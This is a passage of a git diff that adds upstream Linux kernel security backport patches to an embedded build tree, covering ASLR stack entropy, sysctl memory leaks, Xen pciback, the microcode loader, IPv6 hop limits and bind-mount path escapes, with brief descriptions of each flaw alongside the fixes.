+Signed-off-by: Julian Anastasov +Signed-off-by: David S. Miller +Signed-off-by: Greg Kroah-Hartman +--- + include/net/ip.h | 11 ++++++----- + net/ipv4/ip_forward.c | 3 ++- + net/ipv4/route.c | 9 +++++---- + 3 files changed, 13 insertions(+), 10 deletions(-) + +diff --git a/include/net/ip.h b/include/net/ip.h +index 8695359982d1c..e47ad4c01608e 100644 +--- a/include/net/ip.h ++++ b/include/net/ip.h +@@ -37,11 +37,12 @@ struct inet_skb_parm { + struct ip_options opt; /* Compiled IP options */ + unsigned char flags; + +-#define IPSKB_FORWARDED 1 +-#define IPSKB_XFRM_TUNNEL_SIZE 2 +-#define IPSKB_XFRM_TRANSFORMED 4 +-#define IPSKB_FRAG_COMPLETE 8 +-#define IPSKB_REROUTED 16 ++#define IPSKB_FORWARDED BIT(0) ++#define IPSKB_XFRM_TUNNEL_SIZE BIT(1) ++#define IPSKB_XFRM_TRANSFORMED BIT(2) ++#define IPSKB_FRAG_COMPLETE BIT(3) ++#define IPSKB_REROUTED BIT(4) ++#define IPSKB_DOREDIRECT BIT(5) + + u16 frag_max_size; + }; +diff --git a/net/ipv4/ip_forward.c b/net/ipv4/ip_forward.c +index bd1c5baf69bef..31ee5c6033dfe 100644 +--- a/net/ipv4/ip_forward.c ++++ b/net/ipv4/ip_forward.c +@@ -175,7 +175,8 @@ int ip_forward(struct sk_buff *skb) + * We now generate an ICMP HOST REDIRECT giving the route + * we calculated. + */ +- if (rt->rt_flags&RTCF_DOREDIRECT && !opt->srr && !skb_sec_path(skb)) ++ if (IPCB(skb)->flags & IPSKB_DOREDIRECT && !opt->srr && ++ !skb_sec_path(skb)) + ip_rt_send_redirect(skb); + + skb->priority = rt_tos2priority(iph->tos); +diff --git a/net/ipv4/route.c b/net/ipv4/route.c +index d4d162eac4df0..e23c5f64286b6 100644 +--- a/net/ipv4/route.c ++++ b/net/ipv4/route.c +@@ -1514,11 +1514,10 @@ static int __mkroute_input(struct sk_buff *skb, + + do_cache = res->fi && !itag; + if (out_dev == in_dev && err && IN_DEV_TX_REDIRECTS(out_dev) && ++ skb->protocol == htons(ETH_P_IP) && + (IN_DEV_SHARED_MEDIA(out_dev) || +- inet_addr_onlink(out_dev, saddr, FIB_RES_GW(*res)))) { +- flags |= RTCF_DOREDIRECT; +- do_cache = false; +- } ++ inet_addr_onlink(out_dev, saddr, FIB_RES_GW(*res)))) ++ IPCB(skb)->flags |= IPSKB_DOREDIRECT; + + if (skb->protocol != htons(ETH_P_IP)) { + /* Not IP (i.e. ARP). Do not create route, if it is +@@ -2255,6 +2254,8 @@ static int rt_fill_info(struct net *net, __be32 dst, __be32 src, + r->rtm_flags = (rt->rt_flags & ~0xFFFF) | RTM_F_CLONED; + if (rt->rt_flags & RTCF_NOTIFY) + r->rtm_flags |= RTM_F_NOTIFY; ++ if (IPCB(skb)->flags & IPSKB_DOREDIRECT) ++ r->rtm_flags |= RTCF_DOREDIRECT; + + if (nla_put_be32(skb, RTA_DST, dst)) + goto nla_put_failure; +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0130-4f2e84da8a80-x86 mmASLR Fix stack randomization on 64bit systems.patch b/recipes-kernel/linux/linux-bass/autopatcher/0130-4f2e84da8a80-x86 mmASLR Fix stack randomization on 64bit systems.patch new file mode 100644 index 0000000..6be90ef --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0130-4f2e84da8a80-x86 mmASLR Fix stack randomization on 64bit systems.patch @@ -0,0 +1,114 @@ +From 4f2e84da8a809db7747dd9712a120a44bebd92f3 Mon Sep 17 00:00:00 2001 +From: Hector Marco-Gisbert +Date: Sat, 14 Feb 2015 09:33:50 -0800 +Subject: x86, mm/ASLR: Fix stack randomization on 64-bit systems + +commit 4e7c22d447bb6d7e37bfe39ff658486ae78e8d77 upstream. + +The issue is that the stack for processes is not properly randomized on +64 bit architectures due to an integer overflow. + +The affected function is randomize_stack_top() in file +"fs/binfmt_elf.c": + + static unsigned long randomize_stack_top(unsigned long stack_top) + { + unsigned int random_variable = 0; + + if ((current->flags & PF_RANDOMIZE) && + !(current->personality & ADDR_NO_RANDOMIZE)) { + random_variable = get_random_int() & STACK_RND_MASK; + random_variable <<= PAGE_SHIFT; + } + return PAGE_ALIGN(stack_top) + random_variable; + return PAGE_ALIGN(stack_top) - random_variable; + } + +Note that, it declares the "random_variable" variable as "unsigned int". +Since the result of the shifting operation between STACK_RND_MASK (which +is 0x3fffff on x86_64, 22 bits) and PAGE_SHIFT (which is 12 on x86_64): + + random_variable <<= PAGE_SHIFT; + +then the two leftmost bits are dropped when storing the result in the +"random_variable". This variable shall be at least 34 bits long to hold +the (22+12) result. + +These two dropped bits have an impact on the entropy of process stack. +Concretely, the total stack entropy is reduced by four: from 2^28 to +2^30 (One fourth of expected entropy). + +This patch restores back the entropy by correcting the types involved +in the operations in the functions randomize_stack_top() and +stack_maxrandom_size(). + +The successful fix can be tested with: + + $ for i in `seq 1 10`; do cat /proc/self/maps | grep stack; done + 7ffeda566000-7ffeda587000 rw-p 00000000 00:00 0 [stack] + 7fff5a332000-7fff5a353000 rw-p 00000000 00:00 0 [stack] + 7ffcdb7a1000-7ffcdb7c2000 rw-p 00000000 00:00 0 [stack] + 7ffd5e2c4000-7ffd5e2e5000 rw-p 00000000 00:00 0 [stack] + ... + +Once corrected, the leading bytes should be between 7ffc and 7fff, +rather than always being 7fff. + +Signed-off-by: Hector Marco-Gisbert +Signed-off-by: Ismael Ripoll +[ Rebased, fixed 80 char bugs, cleaned up commit message, added test example and CVE ] +Signed-off-by: Kees Cook +Cc: Linus Torvalds +Cc: Andrew Morton +Cc: Al Viro +Fixes: CVE-2015-1593 +Link: http://lkml.kernel.org/r/20150214173350.GA18393@www.outflux.net +Signed-off-by: Borislav Petkov +Signed-off-by: Greg Kroah-Hartman +--- + arch/x86/mm/mmap.c | 6 +++--- + fs/binfmt_elf.c | 5 +++-- + 2 files changed, 6 insertions(+), 5 deletions(-) + +diff --git a/arch/x86/mm/mmap.c b/arch/x86/mm/mmap.c +index 5c1ae28825cd2..75f9e5d80d02f 100644 +--- a/arch/x86/mm/mmap.c ++++ b/arch/x86/mm/mmap.c +@@ -35,12 +35,12 @@ struct __read_mostly va_alignment va_align = { + .flags = -1, + }; + +-static unsigned int stack_maxrandom_size(void) ++static unsigned long stack_maxrandom_size(void) + { +- unsigned int max = 0; ++ unsigned long max = 0; + if ((current->flags & PF_RANDOMIZE) && + !(current->personality & ADDR_NO_RANDOMIZE)) { +- max = ((-1U) & STACK_RND_MASK) << PAGE_SHIFT; ++ max = ((-1UL) & STACK_RND_MASK) << PAGE_SHIFT; + } + + return max; +diff --git a/fs/binfmt_elf.c b/fs/binfmt_elf.c +index 3aac8e9edac32..3c4d8797ea9aa 100644 +--- a/fs/binfmt_elf.c ++++ b/fs/binfmt_elf.c +@@ -552,11 +552,12 @@ out: + + static unsigned long randomize_stack_top(unsigned long stack_top) + { +- unsigned int random_variable = 0; ++ unsigned long random_variable = 0; + + if ((current->flags & PF_RANDOMIZE) && + !(current->personality & ADDR_NO_RANDOMIZE)) { +- random_variable = get_random_int() & STACK_RND_MASK; ++ random_variable = (unsigned long) get_random_int(); ++ random_variable &= STACK_RND_MASK; + random_variable <<= PAGE_SHIFT; + } + #ifdef CONFIG_STACK_GROWSUP +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0131-85ec36aada19-net llc use correct size for sysctl timeout entries.patch b/recipes-kernel/linux/linux-bass/autopatcher/0131-85ec36aada19-net llc use correct size for sysctl timeout entries.patch new file mode 100644 index 0000000..f8eb83c --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0131-85ec36aada19-net llc use correct size for sysctl timeout entries.patch @@ -0,0 +1,58 @@ +From 85ec36aada19a7873bb2cb1677f910e8ce30f998 Mon Sep 17 00:00:00 2001 +From: Sasha Levin +Date: Fri, 23 Jan 2015 20:47:00 -0500 +Subject: net: llc: use correct size for sysctl timeout entries + +commit 6b8d9117ccb4f81b1244aafa7bc70ef8fa45fc49 upstream. + +The timeout entries are sizeof(int) rather than sizeof(long), which +means that when they were getting read we'd also leak kernel memory +to userspace along with the timeout values. + +Signed-off-by: Sasha Levin +Signed-off-by: David S. Miller +Signed-off-by: Greg Kroah-Hartman +--- + net/llc/sysctl_net_llc.c | 8 ++++---- + 1 file changed, 4 insertions(+), 4 deletions(-) + +diff --git a/net/llc/sysctl_net_llc.c b/net/llc/sysctl_net_llc.c +index 612a5ddaf93b1..799bafc2af39e 100644 +--- a/net/llc/sysctl_net_llc.c ++++ b/net/llc/sysctl_net_llc.c +@@ -18,28 +18,28 @@ static struct ctl_table llc2_timeout_table[] = { + { + .procname = "ack", + .data = &sysctl_llc2_ack_timeout, +- .maxlen = sizeof(long), ++ .maxlen = sizeof(sysctl_llc2_ack_timeout), + .mode = 0644, + .proc_handler = proc_dointvec_jiffies, + }, + { + .procname = "busy", + .data = &sysctl_llc2_busy_timeout, +- .maxlen = sizeof(long), ++ .maxlen = sizeof(sysctl_llc2_busy_timeout), + .mode = 0644, + .proc_handler = proc_dointvec_jiffies, + }, + { + .procname = "p", + .data = &sysctl_llc2_p_timeout, +- .maxlen = sizeof(long), ++ .maxlen = sizeof(sysctl_llc2_p_timeout), + .mode = 0644, + .proc_handler = proc_dointvec_jiffies, + }, + { + .procname = "rej", + .data = &sysctl_llc2_rej_timeout, +- .maxlen = sizeof(long), ++ .maxlen = sizeof(sysctl_llc2_rej_timeout), + .mode = 0644, + .proc_handler = proc_dointvec_jiffies, + }, +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0132-8e519c3eb982-net rds use correct size for max unacked packets and bytes.patch b/recipes-kernel/linux/linux-bass/autopatcher/0132-8e519c3eb982-net rds use correct size for max unacked packets and bytes.patch new file mode 100644 index 0000000..891ca72 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0132-8e519c3eb982-net rds use correct size for max unacked packets and bytes.patch @@ -0,0 +1,44 @@ +From 8e519c3eb9823f0f6cbffb1dfaede0252df3c350 Mon Sep 17 00:00:00 2001 +From: Sasha Levin +Date: Tue, 3 Feb 2015 08:55:58 -0500 +Subject: net: rds: use correct size for max unacked packets and bytes + +commit db27ebb111e9f69efece08e4cb6a34ff980f8896 upstream. + +Max unacked packets/bytes is an int while sizeof(long) was used in the +sysctl table. + +This means that when they were getting read we'd also leak kernel memory +to userspace along with the timeout values. + +Signed-off-by: Sasha Levin +Signed-off-by: David S. Miller +Signed-off-by: Greg Kroah-Hartman +--- + net/rds/sysctl.c | 4 ++-- + 1 file changed, 2 insertions(+), 2 deletions(-) + +diff --git a/net/rds/sysctl.c b/net/rds/sysctl.c +index 907214b4c4d07..fc6cbe8278561 100644 +--- a/net/rds/sysctl.c ++++ b/net/rds/sysctl.c +@@ -71,14 +71,14 @@ static ctl_table rds_sysctl_rds_table[] = { + { + .procname = "max_unacked_packets", + .data = &rds_sysctl_max_unacked_packets, +- .maxlen = sizeof(unsigned long), ++ .maxlen = sizeof(int), + .mode = 0644, + .proc_handler = proc_dointvec, + }, + { + .procname = "max_unacked_bytes", + .data = &rds_sysctl_max_unacked_bytes, +- .maxlen = sizeof(unsigned long), ++ .maxlen = sizeof(int), + .mode = 0644, + .proc_handler = proc_dointvec, + }, +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0133-1c33522995c9-xenpciback limit guest control of command register.patch b/recipes-kernel/linux/linux-bass/autopatcher/0133-1c33522995c9-xenpciback limit guest control of command register.patch new file mode 100644 index 0000000..5867025 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0133-1c33522995c9-xenpciback limit guest control of command register.patch @@ -0,0 +1,161 @@ +From 1c33522995c91a07d6c06f04160af7aaa5d89315 Mon Sep 17 00:00:00 2001 +From: Jan Beulich +Date: Wed, 11 Mar 2015 13:51:17 +0000 +Subject: xen-pciback: limit guest control of command register + +commit af6fc858a35b90e89ea7a7ee58e66628c55c776b upstream. + +Otherwise the guest can abuse that control to cause e.g. PCIe +Unsupported Request responses by disabling memory and/or I/O decoding +and subsequently causing (CPU side) accesses to the respective address +ranges, which (depending on system configuration) may be fatal to the +host. + +Note that to alter any of the bits collected together as +PCI_COMMAND_GUEST permissive mode is now required to be enabled +globally or on the specific device. + +This is CVE-2015-2150 / XSA-120. + +Signed-off-by: Jan Beulich +Reviewed-by: Konrad Rzeszutek Wilk +Signed-off-by: David Vrabel +Signed-off-by: Greg Kroah-Hartman +--- + drivers/xen/xen-pciback/conf_space.c | 2 +- + drivers/xen/xen-pciback/conf_space.h | 2 + + drivers/xen/xen-pciback/conf_space_header.c | 61 +++++++++++++++++++++++------ + 3 files changed, 51 insertions(+), 14 deletions(-) + +diff --git a/drivers/xen/xen-pciback/conf_space.c b/drivers/xen/xen-pciback/conf_space.c +index 46ae0f9f02adc..75fe3d466515a 100644 +--- a/drivers/xen/xen-pciback/conf_space.c ++++ b/drivers/xen/xen-pciback/conf_space.c +@@ -16,7 +16,7 @@ + #include "conf_space.h" + #include "conf_space_quirks.h" + +-static bool permissive; ++bool permissive; + module_param(permissive, bool, 0644); + + /* This is where xen_pcibk_read_config_byte, xen_pcibk_read_config_word, +diff --git a/drivers/xen/xen-pciback/conf_space.h b/drivers/xen/xen-pciback/conf_space.h +index e56c934ad137b..2e1d73d1d5d09 100644 +--- a/drivers/xen/xen-pciback/conf_space.h ++++ b/drivers/xen/xen-pciback/conf_space.h +@@ -64,6 +64,8 @@ struct config_field_entry { + void *data; + }; + ++extern bool permissive; ++ + #define OFFSET(cfg_entry) ((cfg_entry)->base_offset+(cfg_entry)->field->offset) + + /* Add fields to a device - the add_fields macro expects to get a pointer to +diff --git a/drivers/xen/xen-pciback/conf_space_header.c b/drivers/xen/xen-pciback/conf_space_header.c +index 3daf862d739da..a5bb81a600f76 100644 +--- a/drivers/xen/xen-pciback/conf_space_header.c ++++ b/drivers/xen/xen-pciback/conf_space_header.c +@@ -9,6 +9,10 @@ + #include "pciback.h" + #include "conf_space.h" + ++struct pci_cmd_info { ++ u16 val; ++}; ++ + struct pci_bar_info { + u32 val; + u32 len_val; +@@ -18,22 +22,36 @@ struct pci_bar_info { + #define is_enable_cmd(value) ((value)&(PCI_COMMAND_MEMORY|PCI_COMMAND_IO)) + #define is_master_cmd(value) ((value)&PCI_COMMAND_MASTER) + +-static int command_read(struct pci_dev *dev, int offset, u16 *value, void *data) ++/* Bits guests are allowed to control in permissive mode. */ ++#define PCI_COMMAND_GUEST (PCI_COMMAND_MASTER|PCI_COMMAND_SPECIAL| \ ++ PCI_COMMAND_INVALIDATE|PCI_COMMAND_VGA_PALETTE| \ ++ PCI_COMMAND_WAIT|PCI_COMMAND_FAST_BACK) ++ ++static void *command_init(struct pci_dev *dev, int offset) + { +- int i; +- int ret; +- +- ret = xen_pcibk_read_config_word(dev, offset, value, data); +- if (!pci_is_enabled(dev)) +- return ret; +- +- for (i = 0; i < PCI_ROM_RESOURCE; i++) { +- if (dev->resource[i].flags & IORESOURCE_IO) +- *value |= PCI_COMMAND_IO; +- if (dev->resource[i].flags & IORESOURCE_MEM) +- *value |= PCI_COMMAND_MEMORY; ++ struct pci_cmd_info *cmd = kmalloc(sizeof(*cmd), GFP_KERNEL); ++ int err; ++ ++ if (!cmd) ++ return ERR_PTR(-ENOMEM); ++ ++ err = pci_read_config_word(dev, PCI_COMMAND, &cmd->val); ++ if (err) { ++ kfree(cmd); ++ return ERR_PTR(err); + } + ++ return cmd; ++} ++ ++static int command_read(struct pci_dev *dev, int offset, u16 *value, void *data) ++{ ++ int ret = pci_read_config_word(dev, offset, value); ++ const struct pci_cmd_info *cmd = data; ++ ++ *value &= PCI_COMMAND_GUEST; ++ *value |= cmd->val & ~PCI_COMMAND_GUEST; ++ + return ret; + } + +@@ -41,6 +59,8 @@ static int command_write(struct pci_dev *dev, int offset, u16 value, void *data) + { + struct xen_pcibk_dev_data *dev_data; + int err; ++ u16 val; ++ struct pci_cmd_info *cmd = data; + + dev_data = pci_get_drvdata(dev); + if (!pci_is_enabled(dev) && is_enable_cmd(value)) { +@@ -83,6 +103,19 @@ static int command_write(struct pci_dev *dev, int offset, u16 value, void *data) + } + } + ++ cmd->val = value; ++ ++ if (!permissive && (!dev_data || !dev_data->permissive)) ++ return 0; ++ ++ /* Only allow the guest to control certain bits. */ ++ err = pci_read_config_word(dev, offset, &val); ++ if (err || val == value) ++ return err; ++ ++ value &= PCI_COMMAND_GUEST; ++ value |= val & ~PCI_COMMAND_GUEST; ++ + return pci_write_config_word(dev, offset, value); + } + +@@ -282,6 +315,8 @@ static const struct config_field header_common[] = { + { + .offset = PCI_COMMAND, + .size = 2, ++ .init = command_init, ++ .release = bar_release, + .u.w.read = command_read, + .u.w.write = command_write, + }, +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0134-66bd44e6a5c8-x86microcodeintel Guard against stack overflow in the loader.patch b/recipes-kernel/linux/linux-bass/autopatcher/0134-66bd44e6a5c8-x86microcodeintel Guard against stack overflow in the loader.patch new file mode 100644 index 0000000..bd408e6 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0134-66bd44e6a5c8-x86microcodeintel Guard against stack overflow in the loader.patch @@ -0,0 +1,40 @@ +From 66bd44e6a5c8f24805f94d19f943301d7a7f418e Mon Sep 17 00:00:00 2001 +From: Quentin Casasnovas +Date: Tue, 3 Feb 2015 13:00:22 +0100 +Subject: x86/microcode/intel: Guard against stack overflow in the loader + +commit f84598bd7c851f8b0bf8cd0d7c3be0d73c432ff4 upstream. + +mc_saved_tmp is a static array allocated on the stack, we need to make +sure mc_saved_count stays within its bounds, otherwise we're overflowing +the stack in _save_mc(). A specially crafted microcode header could lead +to a kernel crash or potentially kernel execution. + +Signed-off-by: Quentin Casasnovas +Cc: "H. Peter Anvin" +Cc: Fenghua Yu +Link: http://lkml.kernel.org/r/1422964824-22056-1-git-send-email-quentin.casasnovas@oracle.com +Signed-off-by: Borislav Petkov +Signed-off-by: Jiri Slaby +Signed-off-by: Sheng Yong +Signed-off-by: Greg Kroah-Hartman +--- + arch/x86/kernel/microcode_intel_early.c | 2 +- + 1 file changed, 1 insertion(+), 1 deletion(-) + +diff --git a/arch/x86/kernel/microcode_intel_early.c b/arch/x86/kernel/microcode_intel_early.c +index 2e9e12871c2b5..a883942aee44a 100644 +--- a/arch/x86/kernel/microcode_intel_early.c ++++ b/arch/x86/kernel/microcode_intel_early.c +@@ -321,7 +321,7 @@ get_matching_model_microcode(int cpu, unsigned long start, + unsigned int mc_saved_count = mc_saved_data->mc_saved_count; + int i; + +- while (leftover) { ++ while (leftover && mc_saved_count < ARRAY_SIZE(mc_saved_tmp)) { + mc_header = (struct microcode_header_intel *)ucode_ptr; + + mc_size = get_totalsize(mc_header); +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0135-4de930efc23b-net validate the range we feed to ioviterinit in.patch b/recipes-kernel/linux/linux-bass/autopatcher/0135-4de930efc23b-net validate the range we feed to ioviterinit in.patch new file mode 100644 index 0000000..a1ff19b --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0135-4de930efc23b-net validate the range we feed to ioviterinit in.patch @@ -0,0 +1,38 @@ +From 4de930efc23b92ddf88ce91c405ee645fe6e27ea Mon Sep 17 00:00:00 2001 +From: Al Viro +Date: Fri, 20 Mar 2015 17:41:43 +0000 +Subject: net: validate the range we feed to iov_iter_init() in + sys_sendto/sys_recvfrom + +Cc: stable@vger.kernel.org # v3.19 +Signed-off-by: Al Viro +Signed-off-by: David S. Miller +--- + net/socket.c | 4 ++++ + 1 file changed, 4 insertions(+) + +diff --git a/net/socket.c b/net/socket.c +index bbedbfcb42c2..245330ca0015 100644 +--- a/net/socket.c ++++ b/net/socket.c +@@ -1702,6 +1702,8 @@ SYSCALL_DEFINE6(sendto, int, fd, void __user *, buff, size_t, len, + + if (len > INT_MAX) + len = INT_MAX; ++ if (unlikely(!access_ok(VERIFY_READ, buff, len))) ++ return -EFAULT; + sock = sockfd_lookup_light(fd, &err, &fput_needed); + if (!sock) + goto out; +@@ -1760,6 +1762,8 @@ SYSCALL_DEFINE6(recvfrom, int, fd, void __user *, ubuf, size_t, size, + + if (size > INT_MAX) + size = INT_MAX; ++ if (unlikely(!access_ok(VERIFY_WRITE, ubuf, size))) ++ return -EFAULT; + sock = sockfd_lookup_light(fd, &err, &fput_needed); + if (!sock) + goto out; +-- +cgit 1.2-0.3.lf.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0136-22e764ee4baf-x86asmentry64 Remove a bogus retfromfork optimization.patch b/recipes-kernel/linux/linux-bass/autopatcher/0136-22e764ee4baf-x86asmentry64 Remove a bogus retfromfork optimization.patch new file mode 100644 index 0000000..4a717f3 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0136-22e764ee4baf-x86asmentry64 Remove a bogus retfromfork optimization.patch @@ -0,0 +1,58 @@ +From 22e764ee4bafa7dbf5edd2580de006e32e671e93 Mon Sep 17 00:00:00 2001 +From: Andy Lutomirski +Date: Thu, 5 Mar 2015 01:09:44 +0100 +Subject: x86/asm/entry/64: Remove a bogus 'ret_from_fork' optimization + +commit 956421fbb74c3a6261903f3836c0740187cf038b upstream. + +'ret_from_fork' checks TIF_IA32 to determine whether 'pt_regs' and +the related state make sense for 'ret_from_sys_call'. This is +entirely the wrong check. TS_COMPAT would make a little more +sense, but there's really no point in keeping this optimization +at all. + +This fixes a return to the wrong user CS if we came from int +0x80 in a 64-bit task. + +Signed-off-by: Andy Lutomirski +Cc: Borislav Petkov +Cc: Denys Vlasenko +Cc: H. Peter Anvin +Cc: Linus Torvalds +Cc: Oleg Nesterov +Cc: Thomas Gleixner +Link: http://lkml.kernel.org/r/4710be56d76ef994ddf59087aad98c000fbab9a4.1424989793.git.luto@amacapital.net +[ Backported from tip:x86/asm. ] +Signed-off-by: Ingo Molnar +Signed-off-by: Greg Kroah-Hartman +--- + arch/x86/kernel/entry_64.S | 13 ++++++++----- + 1 file changed, 8 insertions(+), 5 deletions(-) + +diff --git a/arch/x86/kernel/entry_64.S b/arch/x86/kernel/entry_64.S +index 948b2e14df8cc..6ed8f16fd61b2 100644 +--- a/arch/x86/kernel/entry_64.S ++++ b/arch/x86/kernel/entry_64.S +@@ -557,11 +557,14 @@ ENTRY(ret_from_fork) + testl $3, CS-ARGOFFSET(%rsp) # from kernel_thread? + jz 1f + +- testl $_TIF_IA32, TI_flags(%rcx) # 32-bit compat task needs IRET +- jnz int_ret_from_sys_call +- +- RESTORE_TOP_OF_STACK %rdi, -ARGOFFSET +- jmp ret_from_sys_call # go to the SYSRET fastpath ++ /* ++ * By the time we get here, we have no idea whether our pt_regs, ++ * ti flags, and ti status came from the 64-bit SYSCALL fast path, ++ * the slow path, or one of the ia32entry paths. ++ * Use int_ret_from_sys_call to return, since it can safely handle ++ * all of the above. ++ */ ++ jmp int_ret_from_sys_call + + 1: + subq $REST_SKIP, %rsp # leave space for volatiles +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0137-5a2267373e3d-ipv6 Dont reduce hop limit for an interface.patch b/recipes-kernel/linux/linux-bass/autopatcher/0137-5a2267373e3d-ipv6 Dont reduce hop limit for an interface.patch new file mode 100644 index 0000000..b6b6628 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0137-5a2267373e3d-ipv6 Dont reduce hop limit for an interface.patch @@ -0,0 +1,51 @@ +From 5a2267373e3d66b6df7d37b7366ed7a11bc29f4f Mon Sep 17 00:00:00 2001 +From: "D.S. Ljungmark" +Date: Wed, 25 Mar 2015 09:28:15 +0100 +Subject: ipv6: Don't reduce hop limit for an interface + +[ Upstream commit 6fd99094de2b83d1d4c8457f2c83483b2828e75a ] + +A local route may have a lower hop_limit set than global routes do. + +RFC 3756, Section 4.2.7, "Parameter Spoofing" + +> 1. The attacker includes a Current Hop Limit of one or another small +> number which the attacker knows will cause legitimate packets to +> be dropped before they reach their destination. + +> As an example, one possible approach to mitigate this threat is to +> ignore very small hop limits. The nodes could implement a +> configurable minimum hop limit, and ignore attempts to set it below +> said limit. + +Signed-off-by: D.S. Ljungmark +Acked-by: Hannes Frederic Sowa +Signed-off-by: David S. Miller +Signed-off-by: Greg Kroah-Hartman +--- + net/ipv6/ndisc.c | 9 ++++++++- + 1 file changed, 8 insertions(+), 1 deletion(-) + +diff --git a/net/ipv6/ndisc.c b/net/ipv6/ndisc.c +index 060a0449acaa9..05f361338c2ea 100644 +--- a/net/ipv6/ndisc.c ++++ b/net/ipv6/ndisc.c +@@ -1193,7 +1193,14 @@ static void ndisc_router_discovery(struct sk_buff *skb) + if (rt) + rt6_set_expires(rt, jiffies + (HZ * lifetime)); + if (ra_msg->icmph.icmp6_hop_limit) { +- in6_dev->cnf.hop_limit = ra_msg->icmph.icmp6_hop_limit; ++ /* Only set hop_limit on the interface if it is higher than ++ * the current hop_limit. ++ */ ++ if (in6_dev->cnf.hop_limit < ra_msg->icmph.icmp6_hop_limit) { ++ in6_dev->cnf.hop_limit = ra_msg->icmph.icmp6_hop_limit; ++ } else { ++ ND_PRINTK(2, warn, "RA: Got route advertisement with lower hop_limit than current\n"); ++ } + if (rt) + dst_metric_set(&rt->dst, RTAX_HOPLIMIT, + ra_msg->icmph.icmp6_hop_limit); +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0138-91397d567646-dcache Handle escaped paths in prependpath.patch b/recipes-kernel/linux/linux-bass/autopatcher/0138-91397d567646-dcache Handle escaped paths in prependpath.patch new file mode 100644 index 0000000..e1bed4a --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0138-91397d567646-dcache Handle escaped paths in prependpath.patch @@ -0,0 +1,76 @@ +From 91397d567646df4ede8619beb678252e82fafb2a Mon Sep 17 00:00:00 2001 +From: "Eric W. Biederman" +Date: Sat, 15 Aug 2015 13:36:12 -0500 +Subject: dcache: Handle escaped paths in prepend_path + +commit cde93be45a8a90d8c264c776fab63487b5038a65 upstream. + +A rename can result in a dentry that by walking up d_parent +will never reach it's mnt_root. For lack of a better term +I call this an escaped path. + +prepend_path is called by four different functions __d_path, +d_absolute_path, d_path, and getcwd. + +__d_path only wants to see paths are connected to the root it passes +in. So __d_path needs prepend_path to return an error. + +d_absolute_path similarly wants to see paths that are connected to +some root. Escaped paths are not connected to any mnt_root so +d_absolute_path needs prepend_path to return an error greater +than 1. So escaped paths will be treated like paths on lazily +unmounted mounts. + +getcwd needs to prepend "(unreachable)" so getcwd also needs +prepend_path to return an error. + +d_path is the interesting hold out. d_path just wants to print +something, and does not care about the weird cases. Which raises +the question what should be printed? + +Given that / should result in -ENOENT I +believe it is desirable for escaped paths to be printed as empty +paths. As there are not really any meaninful path components when +considered from the perspective of a mount tree. + +So tweak prepend_path to return an empty path with an new error +code of 3 when it encounters an escaped path. + +Signed-off-by: "Eric W. Biederman" +Signed-off-by: Al Viro +Signed-off-by: Greg Kroah-Hartman +--- + fs/dcache.c | 10 ++++++++++ + 1 file changed, 10 insertions(+) + +diff --git a/fs/dcache.c b/fs/dcache.c +index f1e8017859761..17222fa5bdc6c 100644 +--- a/fs/dcache.c ++++ b/fs/dcache.c +@@ -2534,6 +2534,8 @@ static int prepend_path(const struct path *path, + struct dentry *dentry = path->dentry; + struct vfsmount *vfsmnt = path->mnt; + struct mount *mnt = real_mount(vfsmnt); ++ char *orig_buffer = *buffer; ++ int orig_len = *buflen; + bool slash = false; + int error = 0; + +@@ -2541,6 +2543,14 @@ static int prepend_path(const struct path *path, + struct dentry * parent; + + if (dentry == vfsmnt->mnt_root || IS_ROOT(dentry)) { ++ /* Escaped? */ ++ if (dentry != vfsmnt->mnt_root) { ++ *buffer = orig_buffer; ++ *buflen = orig_len; ++ slash = false; ++ error = 3; ++ goto global_root; ++ } + /* Global root? */ + if (!mnt_has_parent(mnt)) + goto global_root; +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0139-fa6ef735862a-vfs Test for and handle paths that are unreachable from their.patch b/recipes-kernel/linux/linux-bass/autopatcher/0139-fa6ef735862a-vfs Test for and handle paths that are unreachable from their.patch new file mode 100644 index 0000000..cd0a88a --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0139-fa6ef735862a-vfs Test for and handle paths that are unreachable from their.patch @@ -0,0 +1,113 @@ +From fa6ef735862a25daff2a3ee3aba1e32f278f21c5 Mon Sep 17 00:00:00 2001 +From: "Eric W. Biederman" +Date: Sat, 15 Aug 2015 20:27:13 -0500 +Subject: vfs: Test for and handle paths that are unreachable from their + mnt_root + +commit 397d425dc26da728396e66d392d5dcb8dac30c37 upstream. + +In rare cases a directory can be renamed out from under a bind mount. +In those cases without special handling it becomes possible to walk up +the directory tree to the root dentry of the filesystem and down +from the root dentry to every other file or directory on the filesystem. + +Like division by zero .. from an unconnected path can not be given +a useful semantic as there is no predicting at which path component +the code will realize it is unconnected. We certainly can not match +the current behavior as the current behavior is a security hole. + +Therefore when encounting .. when following an unconnected path +return -ENOENT. + +- Add a function path_connected to verify path->dentry is reachable + from path->mnt.mnt_root. AKA to validate that rename did not do + something nasty to the bind mount. + + To avoid races path_connected must be called after following a path + component to it's next path component. + +Signed-off-by: "Eric W. Biederman" +Signed-off-by: Al Viro +Signed-off-by: Greg Kroah-Hartman +--- + fs/namei.c | 29 +++++++++++++++++++++++++++-- + 1 file changed, 27 